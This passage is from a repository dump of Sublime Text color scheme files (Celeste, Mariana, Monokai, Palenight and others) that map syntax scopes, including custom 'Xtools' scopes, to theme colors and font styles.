"font_style": ""
},
{
"name": "Library function",
"scope": "support.function",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Library constant",
"scope": "support.constant",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Library class/type",
"scope": "support.type, support.class",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Library variable",
"scope": "support.other.variable",
"font_style": ""
},
{
"name": "Unquoted keys",
"scope": "meta.mapping.key string.unquoted",
"foreground": "var(text)"
},
{
"name": "Variable function",
"scope": "variable.function",
"foreground": "var(blue)",
"font_style": ""
},
{
"name": "Variable parameter",
"scope": "variable.parameter",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Variable other",
"scope": "variable.other",
"foreground": "var(text)",
"font_style": ""
},
{
"name": "Variable field",
"scope": "variable.other.member",
"foreground": "var(rosewater)",
"font_style": ""
},
{
"name": "Variable language",
"scope": "variable.language",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Tag name",
"scope": "entity.name.tag",
"foreground": "var(peach)",
"font_style": ""
},
{
"name": "Tag attribute",
"scope": "entity.other.attribute-name",
"foreground": "var(mauve)",
"font_style": ""
},
{
"name": "Tag delimiter",
"scope": "punctuation.definition.tag",
"foreground": "var(maroon)",
"font_style": ""
},
{
"name": "Markdown URL",
"scope": "markup.underline.link.markdown",
"foreground": "var(rosewater)",
"font_style": " underline"
},
{
"name": "Markdown reference",
"scope": "meta.link.inline.description",
"foreground": "var(lavender )",
"font_style": "bold"
},
{
"name": "Markdown literal",
"scope": "comment.block.markdown, meta.code-fence, markup.raw.code-fence, markup.raw.inline",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Markdown title",
"scope": "punctuation.definition.heading, entity.name.section",
"foreground": "var(blue)",
"font_style": "bold"
},
{
"name": "Markdown emphasis",
"scope": "markup.",
"foreground": "var(maroon)",
"font_style": ""
},
{
"name": "Markdown strong",
"scope": "markup.bold",
"foreground": "var(maroon)",
"font_style": "bold"
},
{
"name": "Escape",
"scope": "constant.character.escape,constant.character",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Bash built-in function",
"scope": "source.shell.bash meta.function.shell meta.compound.shell meta.function-call.identifier.shell",
"foreground": "var(pink)",
"font_style": ""
},
{
"name": "Bash parameter",
"scope": "variable.language.shell",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Lua field",
"scope": "source.lua meta.function.lua meta.block.lua meta.mapping.value.lua meta.mapping.key.lua string.unquoted.key.lua",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "Lua constructor",
"scope": "source.lua meta.function.lua meta.block.lua meta.mapping.key.lua string.unquoted.key.lua",
"foreground": "var(flamingo)",
"font_style": ""
},
{
"name": "Java constant",
"scope": "entity.name.constant.java",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "CSS property",
"scope": "support.type.property-name.css",
"foreground": "var(flamingo)",
"font_style": ""
},
{
"name": "CSS constant",
"scope": "support.constant.property-value.css",
"foreground": "var(text)",
"font_style": ""
},
{
"name": "CSS suffix",
"scope": "constant.numeric.suffix.css, keyword.other.unit.css",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "CSS variable property",
"scope": "variable.other.custom-property.name.css, support.type.custom-property.name.css, punctuation.definition.custom-property.css",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "SCSS tag",
"scope": "entity.name.tag.css",
"foreground": "var(lavender)",
"font_style": ""
},
{
"name": "SASS variable",
"scope": "variable.other.sass",
"foreground": "var(teal)",
"font_style": ""
},
{
"name": "Rust macro",
"scope": "support.macro.rust",
"foreground": "var(sky)",
"font_style": ""
},
{
"name": "Invalid",
"scope": "invalid",
"foreground": "var(text)",
"background": "var(red)",
"font_style": ""
},
{
"name": "Invalid deprecated",
"scope": "invalid.deprecated",
"foreground": "var(text)",
"background": "var(mauve)",
"font_style": ""
},
{
"name": "Diff header",
"scope": "meta.diff, meta.diff.header",
"foreground": "var(overlay1)",
"font_style": ""
},
{
"name": "Diff deleted",
"scope": "markup.deleted",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "Diff inserted",
"scope": "markup.inserted",
"foreground": "var(green)",
"font_style": ""
},
{
"name": "Diff changed",
"scope": "markup.changed",
"foreground": "var(yellow)",
"font_style": ""
},
{
"name": "Message error",
"scope": "message.error",
"foreground": "var(red)",
"font_style": ""
},
{
"name": "JSON keys",
"scope": "source.json meta.mapping.key string",
"foreground": "var(blue)"
},
{
"name": "JSON key surrounding quotes",
"scope": "source.json meta.mapping.key punctuation.definition.string.begin, source.json meta.mapping.key punctuation.definition.string.end",
"foreground": "var(overlay2)"
},
{
"name": "YAML unquoted keys",
"scope": "source.yaml meta.mapping.key string.unquoted",
"foreground": "var(blue)"
},
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(peach)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(mauve)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(sky)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(overlay1)"
},
]
}
================================================
FILE: themes/Celeste.sublime-color-scheme
================================================
// Documentation at https://www.sublimetext.com/docs/color_schemes.html
{
"variables":
{
},
"globals":
{
},
"rules":
[
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(orange)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(brown)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(purple)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(dark_gray)"
},
]
}
================================================
FILE: themes/Mariana.sublime-color-scheme
================================================
// Documentation at https://www.sublimetext.com/docs/color_schemes.html
{
"variables":
{
"black2": "hsl(240,20%,16%)",
"black3": "hsl(229,48%,11%)",
},
"globals":
{
"background": "var(black3)",
},
"rules":
[
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(orange)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(pink)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(blue5)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(blue6)"
},
]
}
================================================
FILE: themes/Monokai.sublime-color-scheme
================================================
// Documentation at https://www.sublimetext.com/docs/color_schemes.html
{
"variables":
{
},
"globals":
{
},
"rules":
[
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(orange)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(yellow)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(yellow2)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(purple)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(yellow5)"
},
]
}
================================================
FILE: themes/Palenight Theme.sublime-color-scheme
================================================
{
"name": "Palenight Theme",
"author": "James Brooks (Based on Olaolu Olawuyi's VSCode Theme)",
"variables": {
"blue": "#82AAFF",
"green": "#C3E88D",
"red": "#F78C6C",
"yellow": "#ffcb6b",
"peach": "#f5a97f",
"overlay": "#697098",
"mauve": "#c792ea",
"sky": "#89DDFF",
},
"globals": {
"background": "#292D3E",
"foreground": "#BFC7D5",
"line_highlight": "#0003",
"misspelling": "#EF5350",
"fold_marker": "#ffffff",
"accent": "#ffffff",
"caret":"#7e57c2",
"gutter_foreground": "#4c5374",
"line_diff_added": "#99b76d23",
"line_diff_modified": "#e2c08de6",
"line_diff_deleted": "#ef535033",
"selection": "#3C435E",
"inactive_selection": "#929ac90d",
"inactive_selection_foreground": "#929ac9",
"highlight": "#2E3248",
"find_highlight": "#2E3248",
"find_highlight_foreground": "#ffffff",
"guide": "#4E557980",
"active_guide": "#eeffff",
"stack_guide": "#6c739a",
"brackets_foreground": "#3C435E",
"tags_foreground": "#3C435E",
"shadow": "#232635"
},
"rules": [
{
"name": "Global settings",
"foreground": "#bfc7d5",
"background": "#292D3E",
"font_style": 0
},
{
"name": "Comment",
"foreground": "var(overlay)",
"font_style": "italic",
"scope": "comment"
},
{
"name": "String",
"foreground": "var(green)",
"font_style": "",
"scope": "string"
},
{
"name": "String Quoted",
"foreground": "#C3E88D",
"font_style": 0,
"scope": "string.quoted"
},
{
"name": "String Unquoted",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "string.unquoted"
},
{
"name": "Support Constant Math",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "support.constant.math"
},
{
"name": "Number",
"foreground": "var(red)",
"font_style": 0,
"scope": "constant.numeric, constant.character.numeric"
},
{
"name": "Built-in constant",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "constant.language, punctuation.definition.constant, variable.other.constant"
},
{
"name": "User-defined constant",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "constant.character, constant.other"
},
{
"name": "Constant Character Escape",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "constant.character.escape"
},
{
"name": "RegExp String",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "string.regexp, string.regexp keyword.other"
},
{
"name": "Comma in functions",
"foreground": "#eeffff",
"font_style": 0,
"scope": "meta.function punctuation.separator.comma"
},
{
"name": "Variable",
"foreground": "var(yellow)",
"font_style": 0,
"scope": "variable"
},
{
"name": "Keyword",
"foreground": "#c792ea",
"font_style": 0,
"scope": "punctuation.accessor, keyword"
},
{
"name": "Storage",
"foreground": "#c792ea",
"font_style": 0,
"scope": "storage, storage.type, meta.var.expr storage.type, storage.type.property.js, storage.type.property.ts, storage.type.property.tsx, meta.class meta.method.declaration meta.var.expr storage.type.js"
},
{
"name": "Class name",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.name.class, meta.class entity.name.type.class"
},
{
"name": "Inherited class",
"foreground": "#a9c77d",
"font_style": 0,
"scope": "entity.other.inherited-class"
},
{
"name": "Function name",
"foreground": "var(blue)",
"font_style": 0,
"scope": "entity.name.function"
},
{
"name": "Function Parameters",
"foreground": "#7986E7",
"font_style": 0,
"scope": "variable.parameter"
},
{
"name": "Meta Tag",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "punctuation.definition.tag, meta.tag"
},
{
"name": "HTML Tag names",
"foreground": "#ff5572",
"font_style": 0,
"scope": "entity.name.tag support.class.component, meta.tag.other.html, meta.tag.other.js, meta.tag.other.tsx, entity.name.tag.tsx, entity.name.tag.js, entity.name.tag, meta.tag.js, meta.tag.tsx, meta.tag.html"
},
{
"name": "Tag attribute",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.other.attribute-name"
},
{
"name": "Entity Name Tag Custom",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.name.tag.custom"
},
{
"name": "Library (function & constant)",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "support.function, support.constant"
},
{
"name": "Support Constant Property Value meta",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "support.constant.meta.property-value"
},
{
"name": "Library class/type",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "support.type, support.class"
},
{
"name": "Support Variable DOM",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "support.variable.dom"
},
{
"name": "Invalid",
"foreground": "#ffffff",
"background": "#ff2c83",
"font_style": 0,
"scope": "invalid"
},
{
"name": "Invalid deprecated",
"foreground": "#ffffff",
"background": "#d3423e",
"font_style": 0,
"scope": "invalid.deprecated"
},
{
"name": "Keyword Operator",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "keyword.operator"
},
{
"name": "Keyword Operator Relational",
"foreground": "#c792ea",
"font_style": 0,
"scope": "keyword.operator.relational"
},
{
"name": "Keyword Operator Assignment",
"foreground": "#c792ea",
"font_style": 0,
"scope": "keyword.operator.assignment"
},
{
"name": "Double-Slashed Comment",
"foreground": "#697098",
"font_style": 0,
"scope": "comment.line.double-slash"
},
{
"name": "Object",
"foreground": "#cdebf7",
"font_style": 0,
"scope": "object"
},
{
"name": "Null",
"foreground": "#ff5874",
"font_style": 0,
"scope": "constant.language.null"
},
{
"name": "Meta Brace",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "meta.brace"
},
{
"name": "Meta Delimiter Period",
"foreground": "#c792ea",
"font_style": 0,
"scope": "meta.delimiter.period"
},
{
"name": "Punctuation Definition String",
"foreground": "#d9f5dd",
"font_style": 0,
"scope": "punctuation.definition.string"
},
{
"name": "Boolean",
"foreground": "#ff5874",
"font_style": 0,
"scope": "constant.language.boolean"
},
{
"name": "Object Comma",
"foreground": "#ffffff",
"font_style": 0,
"scope": "object.comma"
},
{
"name": "Variable Parameter Function",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "variable.parameter.function"
},
{
"name": "Support Type Property Name & entity name tags",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "support.type.vendored.property-name, support.constant.vendored.property-value, support.type.property-name, meta.property-list entity.name.tag"
},
{
"name": "Entity Name tag reference in stylesheets",
"foreground": "#ff5572",
"font_style": 0,
"scope": "meta.property-list entity.name.tag.reference"
},
{
"name": "Constant Other Color RGB Value Punctuation Definition Constant",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "constant.other.color.rgb-value punctuation.definition.constant"
},
{
"name": "Constant Other Color",
"foreground": "#FFEB95",
"font_style": 0,
"scope": "constant.other.color"
},
{
"name": "Keyword Other Unit",
"foreground": "#FFEB95",
"font_style": 0,
"scope": "keyword.other.unit"
},
{
"name": "Meta Selector",
"foreground": "#c792ea",
"font_style": 0,
"scope": "meta.selector"
},
{
"name": "Entity Other Attribute Name Id",
"foreground": "#FAD430",
"font_style": 0,
"scope": "entity.other.attribute-name.id"
},
{
"name": "Meta Property Name",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "meta.property-name"
},
{
"name": "Doctypes",
"foreground": "#c792ea",
"font_style": "italic",
"scope": "entity.name.tag.doctype, meta.tag.sgml.doctype"
},
{
"name": "Punctuation Definition Parameters",
"foreground": "#d9f5dd",
"font_style": 0,
"scope": "punctuation.definition.parameters"
},
{
"name": "Keyword Control Operator",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "keyword.control.operator"
},
{
"name": "Keyword Operator Logical",
"foreground": "#c792ea",
"font_style": 0,
"scope": "keyword.operator.logical"
},
{
"name": "Variable Instances",
"foreground": "#ff5572",
"font_style": 0,
"scope": "variable.instance, variable.other.instance, variable.reaedwrite.instance, variable.other.readwrite.instance"
},
{
"name": "Variable Property Other",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "variable.other.property, variable.other.object.property"
},
{
"name": "Entity Name Function",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "entity.name.function"
},
{
"name": "Keyword Operator Comparison",
"foreground": "#c792ea",
"font_style": 0,
"scope": "keyword.operator.comparison"
},
{
"name": "Support Constant, `new` keyword, Special Method Keyword",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "support.constant, keyword.other.special-method, keyword.other.new"
},
{
"name": "Support Function",
"foreground": "var(sky)",
"font_style": 0,
"scope": "support.function"
},
{
"name": "Invalid Broken",
"foreground": "#020e14",
"background": "#F78C6C",
"font_style": 0,
"scope": "invalid.broken"
},
{
"name": "Invalid Unimplemented",
"foreground": "#ffffff",
"background": "#8BD649",
"font_style": 0,
"scope": "invalid.unimplemented"
},
{
"name": "Invalid Illegal",
"foreground": "#ffffff",
"background": "#ec5f67",
"font_style": 0,
"scope": "invalid.illegal"
},
{
"name": "Language Variable",
"foreground": "#ff5572",
"font_style": 0,
"scope": "variable.language"
},
{
"name": "Support Variable Property",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "support.variable.property"
},
{
"name": "Variable Function",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "variable.function"
},
{
"name": "Variable Interpolation",
"foreground": "#ec5f67",
"font_style": 0,
"scope": "variable.interpolation"
},
{
"name": "Meta Function Call",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "meta.function-call"
},
{
"name": "Punctuation Section Embedded",
"foreground": "#d3423e",
"font_style": 0,
"scope": "punctuation.section.embedded"
},
{
"name": "Punctuation Tweaks",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "punctuation.terminator.expression, punctuation.definition.arguments, punctuation.definition.array, punctuation.section.array, meta.array"
},
{
"name": "More Punctuation Tweaks",
"foreground": "#d9f5dd",
"font_style": 0,
"scope": "punctuation.definition.list.begin, punctuation.definition.list.end, punctuation.separator.arguments, punctuation.definition.list"
},
{
"name": "Template Strings",
"foreground": "#d3423e",
"font_style": 0,
"scope": "string.template meta.template.expression"
},
{
"name": "Backtics(``) in Template Strings",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "string.template punctuation.definition.string"
},
{
"name": "Italics",
"foreground": "#c792ea",
"font_style": "italic",
"scope": "italic"
},
{
"name": "Bold",
"foreground": "#ffcb6b",
"font_style": "bold",
"scope": "bold"
},
{
"name": "Quote",
"foreground": "#697098",
"font_style": "italic",
"scope": "quote"
},
{
"name": "Raw Code",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "raw"
},
{
"name": "CoffeScript Variable Assignment",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "variable.assignment.coffee"
},
{
"name": "CoffeScript Parameter Function",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.parameter.function.coffee"
},
{
"name": "CoffeeScript Assignments",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "variable.assignment.coffee"
},
{
"name": "C# Readwrite Variables",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.readwrite.cs"
},
{
"name": "C# Classes & Storage types",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "entity.name.type.class.cs, storage.type.cs"
},
{
"name": "C# Namespaces",
"foreground": "#B2CCD6",
"font_style": 0,
"scope": "entity.name.type.namespace.cs"
},
{
"name": "Tag names in Stylesheets",
"foreground": "#ff5572",
"font_style": 0,
"scope": "entity.name.tag.css, entity.name.tag.less, entity.name.tag.custom.css"
},
{
"name": "Wildcard(*) selector in Stylesheets",
"foreground": "#ff5572",
"font_style": 0,
"scope": "entity.name.tag.wildcard.css, entity.name.tag.wildcard.less, entity.name.tag.wildcard.scss, entity.name.tag.wildcard.sass"
},
{
"name": "(C|SC|SA|LE)SS property value unit",
"foreground": "#FFEB95",
"font_style": 0,
"scope": "keyword.other.unit.css, constant.length.units.css, keyword.other.unit.less, constant.length.units.less, keyword.other.unit.scss, constant.length.units.scss, keyword.other.unit.sass, constant.length.units.sass"
},
{
"name": "Attribute Name for CSS",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "meta.attribute-selector.css entity.other.attribute-name.attribute"
},
{
"name": "punctuations in styled components",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "source.js source.css meta.property-list, source.js source.css punctuation.section, source.js source.css punctuation.terminator.rule, source.js source.css punctuation.definition.entity.end.bracket, source.js source.css punctuation.definition.entity.begin.bracket, source.js source.css punctuation.separator.key-value, source.js source.css punctuation.definition.attribute-selector, source.js source.css meta.property-list, source.js source.css meta.property-list punctuation.separator.comma, source.ts source.css punctuation.section, source.ts source.css punctuation.terminator.rule, source.ts source.css punctuation.definition.entity.end.bracket, source.ts source.css punctuation.definition.entity.begin.bracket, source.ts source.css punctuation.separator.key-value, source.ts source.css punctuation.definition.attribute-selector, source.ts source.css meta.property-list, source.ts source.css meta.property-list punctuation.separator.comma"
},
{
"name": "Elixir Classes",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "source.elixir support.type.elixir, source.elixir meta.module.elixir entity.name.class.elixir"
},
{
"name": "Elixir Functions",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "source.elixir entity.name.function"
},
{
"name": "Elixir Constants",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "source.elixir constant.other.symbol.elixir, source.elixir constant.other.keywords.elixir"
},
{
"name": "Elixir String Punctuations",
"foreground": "#a9c77d",
"font_style": 0,
"scope": "source.elixir punctuation.definition.string"
},
{
"name": "Elixir",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "source.elixir variable.other.readwrite.module.elixir, source.elixir variable.other.readwrite.module.elixir punctuation.definition.variable.elixir"
},
{
"name": "Elixir Binary Punctuations",
"foreground": "#c792ea",
"font_style": 0,
"scope": "source.elixir .punctuation.binary.elixir"
},
{
"name": "Go Function Calls",
"foreground": "#DDDDDD",
"font_style": 0,
"scope": "source.go meta.function-call.go"
},
{
"name": "GraphQL Variables",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.qraphql"
},
{
"name": "ID Attribute Name in HTML",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.other.attribute-name.id.html"
},
{
"name": "HTML Punctuation Definition Tag",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "punctuation.definition.tag.html"
},
{
"name": "HTML Doctype",
"foreground": "#c792ea",
"font_style": "italic",
"scope": "meta.tag.sgml.doctype.html"
},
{
"name": "JavaScript Classes",
"foreground": "#ffcb8b",
"font_style": 0,
"scope": "meta.class entity.name.type.class.js"
},
{
"name": "JavaScript Method Declaration e.g. `constructor`",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "meta.method.declaration storage.type.js"
},
{
"name": "JavaScript Terminator",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "terminator.js"
},
{
"name": "JavaScript Meta Punctuation Definition",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "meta.js punctuation.definition.js"
},
{
"name": "Entity Names in Code Documentations",
"foreground": "#eeffff",
"font_style": 0,
"scope": "entity.name.type.instance.jsdoc, entity.name.type.instance.phpdoc"
},
{
"name": "Other Variables in Code Documentations",
"foreground": "#78ccf0",
"font_style": 0,
"scope": "variable.other.jsdoc, variable.other.phpdoc"
},
{
"name": "JavaScript module imports and exports",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.meta.import.js, meta.import.js variable.other, variable.other.meta.export.js, meta.export.js variable.other"
},
{
"name": "JavaScript Variable Parameter Function",
"foreground": "#7986E7",
"font_style": 0,
"scope": "variable.parameter.function.js"
},
{
"name": "JavaScript Variable Other ReadWrite",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.readwrite.js"
},
{
"name": "Text nested in React tags",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "meta.jsx.children, meta.jsx.children.js, meta.jsx.children.tsx"
},
{
"name": "JavaScript[React] Variable Other Object",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.object.js, variable.other.object.jsx, meta.object-literal.key.js, meta.object-literal.key.jsx, variable.object.property.js, variable.object.property.jsx"
},
{
"name": "JavaScript Variables",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.js, variable.other.js"
},
{
"name": "JavaScript Entity Name Type",
"foreground": "#ffcb8b",
"font_style": 0,
"scope": "entity.name.type.js, entity.name.type.module.js"
},
{
"name": "JavaScript Support Classes",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "support.class.js"
},
{
"name": "JSON Property Names",
"foreground": "#C3E88D",
"font_style": 0,
"scope": "support.type.property-name.json"
},
{
"name": "JSON Support Constants",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "support.constant.json"
},
{
"name": "JSON Property values (string)",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "meta.structure.dictionary.value.json string.quoted.double"
},
{
"name": "Strings in JSON values",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "string.quoted.double.json punctuation.definition.string.json"
},
{
"name": "Specific JSON Property values like null",
"foreground": "#ff5874",
"font_style": 0,
"scope": "meta.structure.dictionary.json meta.structure.dictionary.value constant.language"
},
{
"name": "Ruby Variables",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.ruby"
},
{
"name": "Ruby Hashkeys",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "constant.language.symbol.hashkey.ruby"
},
{
"name": "LESS Tag names",
"foreground": "#ff5572",
"font_style": 0,
"scope": "entity.name.tag.less"
},
{
"name": "Attribute Name for LESS",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "meta.attribute-selector.less entity.other.attribute-name.attribute"
},
{
"name": "Markup Headings",
"foreground": "#82b1ff",
"font_style": 0,
"scope": "markup.heading"
},
{
"name": "Markup Italics",
"foreground": "#c792ea",
"font_style": "italic",
"scope": "markup.italic"
},
{
"name": "Markup Bold",
"foreground": "#ffcb6b",
"font_style": "bold",
"scope": "markup.bold"
},
{
"name": "Markup Quote + others",
"foreground": "#697098",
"font_style": "italic",
"scope": "markup.quote"
},
{
"name": "Markup Raw Code + others",
"foreground": "#80CBC4",
"font_style": 0,
"scope": "markup.inline.raw"
},
{
"name": "Markup Links",
"foreground": "#ff869a",
"font_style": 0,
"scope": "markup.underline.link, markup.underline.link.image"
},
{
"name": "Markup Attributes",
"foreground": "#a9c77d",
"font_style": 0,
"scope": "markup.meta.attribute-list"
},
{
"name": "Markup Admonitions",
"font_style": "bold",
"scope": "markup.admonition"
},
{
"name": "Markup Lists",
"foreground": "#D9F5DD",
"font_style": 0,
"scope": "markup.list.bullet"
},
{
"name": "Markup Superscript and Subscript",
"font_style": "italic",
"scope": "markup.superscript, markup.subscript"
},
{
"name": "Markdown Link Title and Description",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "string.other.link.title.markdown, string.other.link.description.markdown"
},
{
"name": "Markdown Punctuation",
"foreground": "#82b1ff",
"font_style": 0,
"scope": "punctuation.definition.string.markdown, punctuation.definition.string.begin.markdown, punctuation.definition.string.end.markdown, meta.link.inline.markdown punctuation.definition.string"
},
{
"name": "Markdown MetaData Punctuation",
"foreground": "#ff5572",
"font_style": 0,
"scope": "punctuation.definition.metadata.markdown"
},
{
"name": "Markdown List Punctuation",
"foreground": "#82b1ff",
"font_style": 0,
"scope": "beginning.punctuation.definition.list.markdown"
},
{
"name": "Asciidoc Function",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "entity.name.function.asciidoc"
},
{
"name": "PHP Variables",
"foreground": "#bec5d4",
"font_style": 0,
"scope": "variable.other.php"
},
{
"name": "Support Classes in PHP",
"foreground": "#ffcb8b",
"font_style": 0,
"scope": "support.class.php"
},
{
"name": "Punctuations in PHP function calls",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "meta.function-call.php punctuation"
},
{
"name": "PHP Global Variables",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "variable.other.global.php"
},
{
"name": "Declaration Punctuation in PHP Global Variables",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "variable.other.global.php punctuation.definition.variable"
},
{
"name": "Language Constants in Python",
"foreground": "#ff5874",
"font_style": 0,
"scope": "constant.language.python"
},
{
"name": "Python Function Parameter and Arguments",
"foreground": "#7986E7",
"font_style": 0,
"scope": "variable.parameter.function.python, meta.function-call.arguments.python"
},
{
"name": "Python Function Call",
"foreground": "#B2CCD6",
"font_style": 0,
"scope": "meta.function-call.python, meta.function-call.generic.python"
},
{
"name": "Punctuations in Python",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "punctuation.python"
},
{
"name": "Decorator Functions in Python",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.name.function.decorator.python"
},
{
"name": "Python Language Variable",
"foreground": "#8EACE3",
"font_style": 0,
"scope": "source.python variable.language.special"
},
{
"name": "SCSS Variable",
"foreground": "#DDDDDD",
"font_style": 0,
"scope": "variable.scss, variable.sass, variable.parameter.url.scss, variable.parameter.url.sass"
},
{
"name": "Variables in SASS At-Rules",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "source.css.scss meta.at-rule variable, source.css.sass meta.at-rule variable"
},
{
"name": "Variables in SASS At-Rules",
"foreground": "#bec5d4",
"font_style": 0,
"scope": "source.css.scss meta.at-rule variable, source.css.sass meta.at-rule variable"
},
{
"name": "Attribute Name for SASS",
"foreground": "#F78C6C",
"font_style": 0,
"scope": "meta.attribute-selector.scss entity.other.attribute-name.attribute, meta.attribute-selector.sass entity.other.attribute-name.attribute"
},
{
"name": "Tag names in SASS",
"foreground": "#ff5572",
"font_style": 0,
"scope": "entity.name.tag.scss, entity.name.tag.sass"
},
{
"name": "TypeScript[React] Variables and Object Properties",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "variable.other.readwrite.alias.ts, variable.other.readwrite.alias.tsx, variable.other.readwrite.ts, variable.other.readwrite.tsx, variable.other.object.ts, variable.other.object.tsx, variable.object.property.ts, variable.object.property.tsx, variable.other.ts, variable.other.tsx, variable.tsx, variable.ts"
},
{
"name": "TypeScript[React] Entity Name Types",
"foreground": "#78ccf0",
"font_style": 0,
"scope": "entity.name.type.ts, entity.name.type.tsx"
},
{
"name": "TypeScript[React] Node Classes",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "support.class.node.ts, support.class.node.tsx"
},
{
"name": "TypeScript[React] Entity Name Types as Parameters",
"foreground": "#eeffff",
"font_style": 0,
